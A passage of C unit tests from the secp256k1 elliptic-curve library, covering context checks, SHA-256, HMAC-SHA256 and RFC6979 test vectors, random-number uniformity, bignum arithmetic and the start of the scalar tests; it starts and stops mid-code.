secp256k1_ecmult_gen(&both->ecmult_gen_ctx, &pubj, &key); secp256k1_ge_set_gej(&pub, &pubj); /* Verify context-type checking illegal-argument errors. */ memset(ctmp, 1, 32); CHECK(secp256k1_ec_pubkey_create(vrfy, &pubkey, ctmp) == 0); CHECK(ecount == 1); VG_UNDEF(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ec_pubkey_create(sign, &pubkey, ctmp) == 1); VG_CHECK(&pubkey, sizeof(pubkey)); CHECK(secp256k1_ecdsa_sign(vrfy, &sig, ctmp, ctmp, NULL, NULL) == 0); CHECK(ecount == 2); VG_UNDEF(&sig, sizeof(sig)); CHECK(secp256k1_ecdsa_sign(sign, &sig, ctmp, ctmp, NULL, NULL) == 1); VG_CHECK(&sig, sizeof(sig)); CHECK(ecount2 == 10); CHECK(secp256k1_ecdsa_verify(sign, &sig, ctmp, &pubkey) == 0); CHECK(ecount2 == 11); CHECK(secp256k1_ecdsa_verify(vrfy, &sig, ctmp, &pubkey) == 1); CHECK(ecount == 2); CHECK(secp256k1_ec_pubkey_tweak_add(sign, &pubkey, ctmp) == 0); CHECK(ecount2 == 12); CHECK(secp256k1_ec_pubkey_tweak_add(vrfy, &pubkey, ctmp) == 1); CHECK(ecount == 2); CHECK(secp256k1_ec_pubkey_tweak_mul(sign, &pubkey, ctmp) == 0); CHECK(ecount2 == 13); CHECK(secp256k1_ec_pubkey_negate(vrfy, &pubkey) == 1); CHECK(ecount == 2); CHECK(secp256k1_ec_pubkey_negate(sign, &pubkey) == 1); CHECK(ecount == 2); CHECK(secp256k1_ec_pubkey_negate(sign, NULL) == 0); CHECK(ecount2 == 14); CHECK(secp256k1_ec_pubkey_negate(vrfy, &zero_pubkey) == 0); CHECK(ecount == 3); CHECK(secp256k1_ec_pubkey_tweak_mul(vrfy, &pubkey, ctmp) == 1); CHECK(ecount == 3); CHECK(secp256k1_context_randomize(vrfy, ctmp) == 0); CHECK(ecount == 4); CHECK(secp256k1_context_randomize(sign, NULL) == 1); CHECK(ecount2 == 14); secp256k1_context_set_illegal_callback(vrfy, NULL, NULL); secp256k1_context_set_illegal_callback(sign, NULL, NULL); /* This shouldn't leak memory, due to already-set tests. */ secp256k1_ecmult_gen_context_build(&sign->ecmult_gen_ctx, NULL); secp256k1_ecmult_context_build(&vrfy->ecmult_ctx, NULL); /* obtain a working nonce */ do { random_scalar_order_test(&nonce); } while(!secp256k1_ecdsa_sig_sign(&both->ecmult_gen_ctx, &sigr, &sigs, &key, &msg, &nonce, NULL)); /* try signing */ CHECK(secp256k1_ecdsa_sig_sign(&sign->ecmult_gen_ctx, &sigr, &sigs, &key, &msg, &nonce, NULL)); CHECK(secp256k1_ecdsa_sig_sign(&both->ecmult_gen_ctx, &sigr, &sigs, &key, &msg, &nonce, NULL)); /* try verifying */ CHECK(secp256k1_ecdsa_sig_verify(&vrfy->ecmult_ctx, &sigr, &sigs, &pub, &msg)); CHECK(secp256k1_ecdsa_sig_verify(&both->ecmult_ctx, &sigr, &sigs, &pub, &msg)); /* cleanup */ secp256k1_context_destroy(none); secp256k1_context_destroy(sign); secp256k1_context_destroy(vrfy); secp256k1_context_destroy(both); /* Defined as no-op. */ secp256k1_context_destroy(NULL); } /***** HASH TESTS *****/ void run_sha256_tests(void) { static const char *inputs[8] = { "", "abc", "message digest", "secure hash algorithm", "SHA256 is considered to be safe", "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", "For this sample, this 63-byte string will be used as input data", "This is exactly 64 bytes long, not counting the terminating byte" }; static const unsigned char outputs[8][32] = { {0xe3, 0xb0, 0xc4, 0x42, 0x98, 0xfc, 0x1c, 0x14, 0x9a, 0xfb, 0xf4, 0xc8, 0x99, 0x6f, 0xb9, 0x24, 0x27, 0xae, 0x41, 0xe4, 0x64, 0x9b, 0x93, 0x4c, 0xa4, 0x95, 0x99, 0x1b, 0x78, 0x52, 0xb8, 0x55}, {0xba, 0x78, 0x16, 0xbf, 0x8f, 0x01, 0xcf, 0xea, 0x41, 0x41, 0x40, 0xde, 0x5d, 0xae, 0x22, 0x23, 0xb0, 0x03, 0x61, 0xa3, 0x96, 0x17, 0x7a, 0x9c, 0xb4, 0x10, 0xff, 0x61, 0xf2, 0x00, 0x15, 0xad}, {0xf7, 0x84, 0x6f, 0x55, 0xcf, 0x23, 0xe1, 0x4e, 0xeb, 0xea, 0xb5, 0xb4, 0xe1, 0x55, 0x0c, 0xad, 0x5b, 0x50, 0x9e, 0x33, 0x48, 0xfb, 0xc4, 0xef, 0xa3, 0xa1, 0x41, 0x3d, 0x39, 0x3c, 0xb6, 0x50}, {0xf3, 0x0c, 0xeb, 0x2b, 0xb2, 0x82, 0x9e, 0x79, 0xe4, 0xca, 0x97, 0x53, 0xd3, 0x5a, 0x8e, 0xcc, 0x00, 0x26, 0x2d, 0x16, 0x4c, 0xc0, 0x77, 0x08, 0x02, 0x95, 0x38, 0x1c, 0xbd, 0x64, 0x3f, 0x0d}, {0x68, 0x19, 0xd9, 0x15, 0xc7, 0x3f, 0x4d, 0x1e, 0x77, 0xe4, 0xe1, 0xb5, 0x2d, 0x1f, 0xa0, 0xf9, 0xcf, 0x9b, 0xea, 0xea, 0xd3, 0x93, 0x9f, 0x15, 0x87, 0x4b, 0xd9, 0x88, 0xe2, 0xa2, 0x36, 0x30}, {0x24, 0x8d, 0x6a, 0x61, 0xd2, 0x06, 0x38, 0xb8, 0xe5, 0xc0, 0x26, 0x93, 0x0c, 0x3e, 0x60, 0x39, 0xa3, 0x3c, 0xe4, 0x59, 0x64, 0xff, 0x21, 0x67, 0xf6, 0xec, 0xed, 0xd4, 0x19, 0xdb, 0x06, 0xc1}, {0xf0, 0x8a, 0x78, 0xcb, 0xba, 0xee, 0x08, 0x2b, 0x05, 0x2a, 0xe0, 0x70, 0x8f, 0x32, 0xfa, 0x1e, 0x50, 0xc5, 0xc4, 0x21, 0xaa, 0x77, 0x2b, 0xa5, 0xdb, 0xb4, 0x06, 0xa2, 0xea, 0x6b, 0xe3, 0x42}, {0xab, 0x64, 0xef, 0xf7, 0xe8, 0x8e, 0x2e, 0x46, 0x16, 0x5e, 0x29, 0xf2, 0xbc, 0xe4, 0x18, 0x26, 0xbd, 0x4c, 0x7b, 0x35, 0x52, 0xf6, 0xb3, 0x82, 0xa9, 0xe7, 0xd3, 0xaf, 0x47, 0xc2, 0x45, 0xf8} }; int i; for (i = 0; i < 8; i++) { unsigned char out[32]; secp256k1_sha256_t hasher; secp256k1_sha256_initialize(&hasher); secp256k1_sha256_write(&hasher, (const unsigned char*)(inputs[i]), strlen(inputs[i])); secp256k1_sha256_finalize(&hasher, out); CHECK(memcmp(out, outputs[i], 32) == 0); if (strlen(inputs[i]) > 0) { int split = secp256k1_rand_int(strlen(inputs[i])); secp256k1_sha256_initialize(&hasher); secp256k1_sha256_write(&hasher, (const unsigned char*)(inputs[i]), split); secp256k1_sha256_write(&hasher, (const unsigned char*)(inputs[i] + split), strlen(inputs[i]) - split); secp256k1_sha256_finalize(&hasher, out); CHECK(memcmp(out, outputs[i], 32) == 0); } } } void run_hmac_sha256_tests(void) { static const char *keys[6] = { "\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b", "\x4a\x65\x66\x65", "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa", "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19", "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa", "\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa\xaa" }; static const char *inputs[6] = { "\x48\x69\x20\x54\x68\x65\x72\x65", "\x77\x68\x61\x74\x20\x64\x6f\x20\x79\x61\x20\x77\x61\x6e\x74\x20\x66\x6f\x72\x20\x6e\x6f\x74\x68\x69\x6e\x67\x3f", "\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd\xdd", "\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd\xcd", "\x54\x65\x73\x74\x20\x55\x73\x69\x6e\x67\x20\x4c\x61\x72\x67\x65\x72\x20\x54\x68\x61\x6e\x20\x42\x6c\x6f\x63\x6b\x2d\x53\x69\x7a\x65\x20\x4b\x65\x79\x20\x2d\x20\x48\x61\x73\x68\x20\x4b\x65\x79\x20\x46\x69\x72\x73\x74", "\x54\x68\x69\x73\x20\x69\x73\x20\x61\x20\x74\x65\x73\x74\x20\x75\x73\x69\x6e\x67\x20\x61\x20\x6c\x61\x72\x67\x65\x72\x20\x74\x68\x61\x6e\x20\x62\x6c\x6f\x63\x6b\x2d\x73\x69\x7a\x65\x20\x6b\x65\x79\x20\x61\x6e\x64\x20\x61\x20\x6c\x61\x72\x67\x65\x72\x20\x74\x68\x61\x6e\x20\x62\x6c\x6f\x63\x6b\x2d\x73\x69\x7a\x65\x20\x64\x61\x74\x61\x2e\x20\x54\x68\x65\x20\x6b\x65\x79\x20\x6e\x65\x65\x64\x73\x20\x74\x6f\x20\x62\x65\x20\x68\x61\x73\x68\x65\x64\x20\x62\x65\x66\x6f\x72\x65\x20\x62\x65\x69\x6e\x67\x20\x75\x73\x65\x64\x20\x62\x79\x20\x74\x68\x65\x20\x48\x4d\x41\x43\x20\x61\x6c\x67\x6f\x72\x69\x74\x68\x6d\x2e" }; static const unsigned char outputs[6][32] = { {0xb0, 0x34, 0x4c, 0x61, 0xd8, 0xdb, 0x38, 0x53, 0x5c, 0xa8, 0xaf, 0xce, 0xaf, 0x0b, 0xf1, 0x2b, 0x88, 0x1d, 0xc2, 0x00, 0xc9, 0x83, 0x3d, 0xa7, 0x26, 0xe9, 0x37, 0x6c, 0x2e, 0x32, 0xcf, 0xf7}, {0x5b, 0xdc, 0xc1, 0x46, 0xbf, 0x60, 0x75, 0x4e, 0x6a, 0x04, 0x24, 0x26, 0x08, 0x95, 0x75, 0xc7, 0x5a, 0x00, 0x3f, 0x08, 0x9d, 0x27, 0x39, 0x83, 0x9d, 0xec, 0x58, 0xb9, 0x64, 0xec, 0x38, 0x43}, {0x77, 0x3e, 0xa9, 0x1e, 0x36, 0x80, 0x0e, 0x46, 0x85, 0x4d, 0xb8, 0xeb, 0xd0, 0x91, 0x81, 0xa7, 0x29, 0x59, 0x09, 0x8b, 0x3e, 0xf8, 0xc1, 0x22, 0xd9, 0x63, 0x55, 0x14, 0xce, 0xd5, 0x65, 0xfe}, {0x82, 0x55, 0x8a, 0x38, 0x9a, 0x44, 0x3c, 0x0e, 0xa4, 0xcc, 0x81, 0x98, 0x99, 0xf2, 0x08, 0x3a, 0x85, 0xf0, 0xfa, 0xa3, 0xe5, 0x78, 0xf8, 0x07, 0x7a, 0x2e, 0x3f, 0xf4, 0x67, 0x29, 0x66, 0x5b}, {0x60, 0xe4, 0x31, 0x59, 0x1e, 0xe0, 0xb6, 0x7f, 0x0d, 0x8a, 0x26, 0xaa, 0xcb, 0xf5, 0xb7, 0x7f, 0x8e, 0x0b, 0xc6, 0x21, 0x37, 0x28, 0xc5, 0x14, 0x05, 0x46, 0x04, 0x0f, 0x0e, 0xe3, 0x7f, 0x54}, {0x9b, 0x09, 0xff, 0xa7, 0x1b, 0x94, 0x2f, 0xcb, 0x27, 0x63, 0x5f, 0xbc, 0xd5, 0xb0, 0xe9, 0x44, 0xbf, 0xdc, 0x63, 0x64, 0x4f, 0x07, 0x13, 0x93, 0x8a, 0x7f, 0x51, 0x53, 0x5c, 0x3a, 0x35, 0xe2} }; int i; for (i = 0; i < 6; i++) { secp256k1_hmac_sha256_t hasher; unsigned char out[32]; secp256k1_hmac_sha256_initialize(&hasher, (const unsigned char*)(keys[i]), strlen(keys[i])); secp256k1_hmac_sha256_write(&hasher, (const unsigned char*)(inputs[i]), strlen(inputs[i])); secp256k1_hmac_sha256_finalize(&hasher, out); CHECK(memcmp(out, outputs[i], 32) == 0); if (strlen(inputs[i]) > 0) { int split = secp256k1_rand_int(strlen(inputs[i])); secp256k1_hmac_sha256_initialize(&hasher, (const unsigned char*)(keys[i]), strlen(keys[i])); secp256k1_hmac_sha256_write(&hasher, (const unsigned char*)(inputs[i]), split); secp256k1_hmac_sha256_write(&hasher, (const unsigned char*)(inputs[i] + split), strlen(inputs[i]) - split); secp256k1_hmac_sha256_finalize(&hasher, out); CHECK(memcmp(out, outputs[i], 32) == 0); } } } void run_rfc6979_hmac_sha256_tests(void) { static const unsigned char key1[65] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x00, 0x4b, 0xf5, 0x12, 0x2f, 0x34, 0x45, 0x54, 0xc5, 0x3b, 0xde, 0x2e, 0xbb, 0x8c, 0xd2, 0xb7, 0xe3, 0xd1, 0x60, 0x0a, 0xd6, 0x31, 0xc3, 0x85, 0xa5, 0xd7, 0xcc, 0xe2, 0x3c, 0x77, 0x85, 0x45, 0x9a, 0}; static const unsigned char out1[3][32] = { {0x4f, 0xe2, 0x95, 0x25, 0xb2, 0x08, 0x68, 0x09, 0x15, 0x9a, 0xcd, 0xf0, 0x50, 0x6e, 0xfb, 0x86, 0xb0, 0xec, 0x93, 0x2c, 0x7b, 0xa4, 0x42, 0x56, 0xab, 0x32, 0x1e, 0x42, 0x1e, 0x67, 0xe9, 0xfb}, {0x2b, 0xf0, 0xff, 0xf1, 0xd3, 0xc3, 0x78, 0xa2, 0x2d, 0xc5, 0xde, 0x1d, 0x85, 0x65, 0x22, 0x32, 0x5c, 0x65, 0xb5, 0x04, 0x49, 0x1a, 0x0c, 0xbd, 0x01, 0xcb, 0x8f, 0x3a, 0xa6, 0x7f, 0xfd, 0x4a}, {0xf5, 0x28, 0xb4, 0x10, 0xcb, 0x54, 0x1f, 0x77, 0x00, 0x0d, 0x7a, 0xfb, 0x6c, 0x5b, 0x53, 0xc5, 0xc4, 0x71, 0xea, 0xb4, 0x3e, 0x46, 0x6d, 0x9a, 0xc5, 0x19, 0x0c, 0x39, 0xc8, 0x2f, 0xd8, 0x2e} }; static const unsigned char key2[64] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xe3, 0xb0, 0xc4, 0x42, 0x98, 0xfc, 0x1c, 0x14, 0x9a, 0xfb, 0xf4, 0xc8, 0x99, 0x6f, 0xb9, 0x24, 0x27, 0xae, 0x41, 0xe4, 0x64, 0x9b, 0x93, 0x4c, 0xa4, 0x95, 0x99, 0x1b, 0x78, 0x52, 0xb8, 0x55}; static const unsigned char out2[3][32] = { {0x9c, 0x23, 0x6c, 0x16, 0x5b, 0x82, 0xae, 0x0c, 0xd5, 0x90, 0x65, 0x9e, 0x10, 0x0b, 0x6b, 0xab, 0x30, 0x36, 0xe7, 0xba, 0x8b, 0x06, 0x74, 0x9b, 0xaf, 0x69, 0x81, 0xe1, 0x6f, 0x1a, 0x2b, 0x95}, {0xdf, 0x47, 0x10, 0x61, 0x62, 0x5b, 0xc0, 0xea, 0x14, 0xb6, 0x82, 0xfe, 0xee, 0x2c, 0x9c, 0x02, 0xf2, 0x35, 0xda, 0x04, 0x20, 0x4c, 0x1d, 0x62, 0xa1, 0x53, 0x6c, 0x6e, 0x17, 0xae, 0xd7, 0xa9}, {0x75, 0x97, 0x88, 0x7c, 0xbd, 0x76, 0x32, 0x1f, 0x32, 0xe3, 0x04, 0x40, 0x67, 0x9a, 0x22, 0xcf, 0x7f, 0x8d, 0x9d, 0x2e, 0xac, 0x39, 0x0e, 0x58, 0x1f, 0xea, 0x09, 0x1c, 0xe2, 0x02, 0xba, 0x94} }; secp256k1_rfc6979_hmac_sha256_t rng; unsigned char out[32]; int i; secp256k1_rfc6979_hmac_sha256_initialize(&rng, key1, 64); for (i = 0; i < 3; i++) { secp256k1_rfc6979_hmac_sha256_generate(&rng, out, 32); CHECK(memcmp(out, out1[i], 32) == 0); } secp256k1_rfc6979_hmac_sha256_finalize(&rng); secp256k1_rfc6979_hmac_sha256_initialize(&rng, key1, 65); for (i = 0; i < 3; i++) { secp256k1_rfc6979_hmac_sha256_generate(&rng, out, 32); CHECK(memcmp(out, out1[i], 32) != 0); } secp256k1_rfc6979_hmac_sha256_finalize(&rng); secp256k1_rfc6979_hmac_sha256_initialize(&rng, key2, 64); for (i = 0; i < 3; i++) { secp256k1_rfc6979_hmac_sha256_generate(&rng, out, 32); CHECK(memcmp(out, out2[i], 32) == 0); } secp256k1_rfc6979_hmac_sha256_finalize(&rng); } /***** RANDOM TESTS *****/ void test_rand_bits(int rand32, int bits) { /* (1-1/2^B)^rounds[B] < 1/10^9, so rounds is the number of iterations to * get a false negative chance below once in a billion */ static const unsigned int rounds[7] = {1, 30, 73, 156, 322, 653, 1316}; /* We try multiplying the results with various odd numbers, which shouldn't * influence the uniform distribution modulo a power of 2. */ static const uint32_t mults[6] = {1, 3, 21, 289, 0x9999, 0x80402011}; /* We only select up to 6 bits from the output to analyse */ unsigned int usebits = bits > 6 ? 6 : bits; unsigned int maxshift = bits - usebits; /* For each of the maxshift+1 usebits-bit sequences inside a bits-bit number, track all observed outcomes, one per bit in a uint64_t. */ uint64_t x[6][27] = {{0}}; unsigned int i, shift, m; /* Multiply the output of all rand calls with the odd number m, which should not change the uniformity of its distribution. */ for (i = 0; i < rounds[usebits]; i++) { uint32_t r = (rand32 ? secp256k1_rand32() : secp256k1_rand_bits(bits)); CHECK((((uint64_t)r) >> bits) == 0); for (m = 0; m < sizeof(mults) / sizeof(mults[0]); m++) { uint32_t rm = r * mults[m]; for (shift = 0; shift <= maxshift; shift++) { x[m][shift] |= (((uint64_t)1) << ((rm >> shift) & ((1 << usebits) - 1))); } } } for (m = 0; m < sizeof(mults) / sizeof(mults[0]); m++) { for (shift = 0; shift <= maxshift; shift++) { /* Test that the lower usebits bits of x[shift] are 1 */ CHECK(((~x[m][shift]) << (64 - (1 << usebits))) == 0); } } } /* Subrange must be a whole divisor of range, and at most 64 */ void test_rand_int(uint32_t range, uint32_t subrange) { /* (1-1/subrange)^rounds < 1/10^9 */ int rounds = (subrange * 2073) / 100; int i; uint64_t x = 0; CHECK((range % subrange) == 0); for (i = 0; i < rounds; i++) { uint32_t r = secp256k1_rand_int(range); CHECK(r < range); r = r % subrange; x |= (((uint64_t)1) << r); } /* Test that the lower subrange bits of x are 1. */ CHECK(((~x) << (64 - subrange)) == 0); } void run_rand_bits(void) { size_t b; test_rand_bits(1, 32); for (b = 1; b <= 32; b++) { test_rand_bits(0, b); } } void run_rand_int(void) { static const uint32_t ms[] = {1, 3, 17, 1000, 13771, 999999, 33554432}; static const uint32_t ss[] = {1, 3, 6, 9, 13, 31, 64}; unsigned int m, s; for (m = 0; m < sizeof(ms) / sizeof(ms[0]); m++) { for (s = 0; s < sizeof(ss) / sizeof(ss[0]); s++) { test_rand_int(ms[m] * ss[s], ss[s]); } } } /***** NUM TESTS *****/ #ifndef USE_NUM_NONE void random_num_negate(secp256k1_num *num) { if (secp256k1_rand_bits(1)) { secp256k1_num_negate(num); } } void random_num_order_test(secp256k1_num *num) { secp256k1_scalar sc; random_scalar_order_test(&sc); secp256k1_scalar_get_num(num, &sc); } void random_num_order(secp256k1_num *num) { secp256k1_scalar sc; random_scalar_order(&sc); secp256k1_scalar_get_num(num, &sc); } void test_num_negate(void) { secp256k1_num n1; secp256k1_num n2; random_num_order_test(&n1); /* n1 = R */ random_num_negate(&n1); secp256k1_num_copy(&n2, &n1); /* n2 = R */ secp256k1_num_sub(&n1, &n2, &n1); /* n1 = n2-n1 = 0 */ CHECK(secp256k1_num_is_zero(&n1)); secp256k1_num_copy(&n1, &n2); /* n1 = R */ secp256k1_num_negate(&n1); /* n1 = -R */ CHECK(!secp256k1_num_is_zero(&n1)); secp256k1_num_add(&n1, &n2, &n1); /* n1 = n2+n1 = 0 */ CHECK(secp256k1_num_is_zero(&n1)); secp256k1_num_copy(&n1, &n2); /* n1 = R */ secp256k1_num_negate(&n1); /* n1 = -R */ CHECK(secp256k1_num_is_neg(&n1) != secp256k1_num_is_neg(&n2)); secp256k1_num_negate(&n1); /* n1 = R */ CHECK(secp256k1_num_eq(&n1, &n2)); } void test_num_add_sub(void) { int i; secp256k1_scalar s; secp256k1_num n1; secp256k1_num n2; secp256k1_num n1p2, n2p1, n1m2, n2m1; random_num_order_test(&n1); /* n1 = R1 */ if (secp256k1_rand_bits(1)) { random_num_negate(&n1); } random_num_order_test(&n2); /* n2 = R2 */ if (secp256k1_rand_bits(1)) { random_num_negate(&n2); } secp256k1_num_add(&n1p2, &n1, &n2); /* n1p2 = R1 + R2 */ secp256k1_num_add(&n2p1, &n2, &n1); /* n2p1 = R2 + R1 */ secp256k1_num_sub(&n1m2, &n1, &n2); /* n1m2 = R1 - R2 */ secp256k1_num_sub(&n2m1, &n2, &n1); /* n2m1 = R2 - R1 */ CHECK(secp256k1_num_eq(&n1p2, &n2p1)); CHECK(!secp256k1_num_eq(&n1p2, &n1m2)); secp256k1_num_negate(&n2m1); /* n2m1 = -R2 + R1 */ CHECK(secp256k1_num_eq(&n2m1, &n1m2)); CHECK(!secp256k1_num_eq(&n2m1, &n1)); secp256k1_num_add(&n2m1, &n2m1, &n2); /* n2m1 = -R2 + R1 + R2 = R1 */ CHECK(secp256k1_num_eq(&n2m1, &n1)); CHECK(!secp256k1_num_eq(&n2p1, &n1)); secp256k1_num_sub(&n2p1, &n2p1, &n2); /* n2p1 = R2 + R1 - R2 = R1 */ CHECK(secp256k1_num_eq(&n2p1, &n1)); /* check is_one */ secp256k1_scalar_set_int(&s, 1); secp256k1_scalar_get_num(&n1, &s); CHECK(secp256k1_num_is_one(&n1)); /* check that 2^n + 1 is never 1 */ secp256k1_scalar_get_num(&n2, &s); for (i = 0; i < 250; ++i) { secp256k1_num_add(&n1, &n1, &n1); /* n1 *= 2 */ secp256k1_num_add(&n1p2, &n1, &n2); /* n1p2 = n1 + 1 */ CHECK(!secp256k1_num_is_one(&n1p2)); } } void test_num_mod(void) { int i; secp256k1_scalar s; secp256k1_num order, n; /* check that 0 mod anything is 0 */ random_scalar_order_test(&s); secp256k1_scalar_get_num(&order, &s); secp256k1_scalar_set_int(&s, 0); secp256k1_scalar_get_num(&n, &s); secp256k1_num_mod(&n, &order); CHECK(secp256k1_num_is_zero(&n)); /* check that anything mod 1 is 0 */ secp256k1_scalar_set_int(&s, 1); secp256k1_scalar_get_num(&order, &s); secp256k1_scalar_get_num(&n, &s); secp256k1_num_mod(&n, &order); CHECK(secp256k1_num_is_zero(&n)); /* check that increasing the number past 2^256 does not break this */ random_scalar_order_test(&s); secp256k1_scalar_get_num(&n, &s); /* multiply by 2^8, which'll test this case with high probability */ for (i = 0; i < 8; ++i) { secp256k1_num_add(&n, &n, &n); } secp256k1_num_mod(&n, &order); CHECK(secp256k1_num_is_zero(&n)); } void test_num_jacobi(void) { secp256k1_scalar sqr; secp256k1_scalar small; secp256k1_scalar five; /* five is not a quadratic residue */ secp256k1_num order, n; int i; /* squares mod 5 are 1, 4 */ const int jacobi5[10] = { 0, 1, -1, -1, 1, 0, 1, -1, -1, 1 }; /* check some small values with 5 as the order */ secp256k1_scalar_set_int(&five, 5); secp256k1_scalar_get_num(&order, &five); for (i = 0; i < 10; ++i) { secp256k1_scalar_set_int(&small, i); secp256k1_scalar_get_num(&n, &small); CHECK(secp256k1_num_jacobi(&n, &order) == jacobi5[i]); } /** test large values with 5 as group order */ secp256k1_scalar_get_num(&order, &five); /* we first need a scalar which is not a multiple of 5 */ do { secp256k1_num fiven; random_scalar_order_test(&sqr); secp256k1_scalar_get_num(&fiven, &five); secp256k1_scalar_get_num(&n, &sqr); secp256k1_num_mod(&n, &fiven); } while (secp256k1_num_is_zero(&n)); /* next force it to be a residue. 2 is a nonresidue mod 5 so we can * just multiply by two, i.e. add the number to itself */ if (secp256k1_num_jacobi(&n, &order) == -1) { secp256k1_num_add(&n, &n, &n); } /* test residue */ CHECK(secp256k1_num_jacobi(&n, &order) == 1); /* test nonresidue */ secp256k1_num_add(&n, &n, &n); CHECK(secp256k1_num_jacobi(&n, &order) == -1); /** test with secp group order as order */ secp256k1_scalar_order_get_num(&order); random_scalar_order_test(&sqr); secp256k1_scalar_sqr(&sqr, &sqr); /* test residue */ secp256k1_scalar_get_num(&n, &sqr); CHECK(secp256k1_num_jacobi(&n, &order) == 1); /* test nonresidue */ secp256k1_scalar_mul(&sqr, &sqr, &five); secp256k1_scalar_get_num(&n, &sqr); CHECK(secp256k1_num_jacobi(&n, &order) == -1); /* test multiple of the order*/ CHECK(secp256k1_num_jacobi(&order, &order) == 0); /* check one less than the order */ secp256k1_scalar_set_int(&small, 1); secp256k1_scalar_get_num(&n, &small); secp256k1_num_sub(&n, &order, &n); CHECK(secp256k1_num_jacobi(&n, &order) == 1); /* sage confirms this is 1 */ } void run_num_smalltests(void) { int i; for (i = 0; i < 100*count; i++) { test_num_negate(); test_num_add_sub(); test_num_mod(); test_num_jacobi(); } } #endif /***** SCALAR TESTS *****/ void scalar_test(void) { secp256k1_scalar s; secp256k1_scalar s1; secp256k1_scalar s2; #ifndef USE_NUM_NONE secp256k1_num snum, s1num, s2num; secp256k1_num order, half_order; #endif unsigned char c[32]; /* Set 's' to a random scalar, with value 'snum'. */ random_scalar_order_test(&s); /* Set 's1' to a random scalar, with value 's1num'. */ random_scalar_order_test(&s1); /* Set 's2' to a random scalar, with value 'snum2', and byte array representation 'c'. */ random_scalar_order_test(&s2); secp256k1_scalar_get_b32(c, &s2); #ifndef USE_NUM_NONE secp256k1_scalar_get_num(&snum, &s); secp256k1_scalar_get_num(&s1num, &s1); secp256k1_scalar_get_num(&s2num, &s2); secp256k1_scalar_order_get_num(&order); half_order = order; secp256k1_num_shift(&half_order, 1); #endif { int i; /* Test that fetching groups of 4 bits from a scalar and recursing n(i)=16*n(i-1)+p(i) reconstructs it. */ secp256k1_scalar n; secp256k1_scalar_set_int(&n, 0); for (i = 0; i < 256; i += 4) { secp256k1_scalar t; int j; secp256k1_scalar_set_int(&t, secp256k1_scalar_get_bits(&s, 256 - 4 - i, 4)); for (j = 0; j < 4; j++) { secp256k1_scalar_add(&n, &n, &n); } secp256k1_scalar_add(&n, &n, &t); } CHECK(secp256k1_scalar_eq(&n, &s)); } { /* Test that fetching groups of randomly-sized bits from a scalar and recursing n(i)=b*n(i-1)+p(i) reconstructs it. */ secp256k1_scalar n; int i = 0; secp256k1_scalar_set_int(&n, 0); while (i < 256) { secp256k1_scalar t; int j; int now = secp256k1_rand_int(15) + 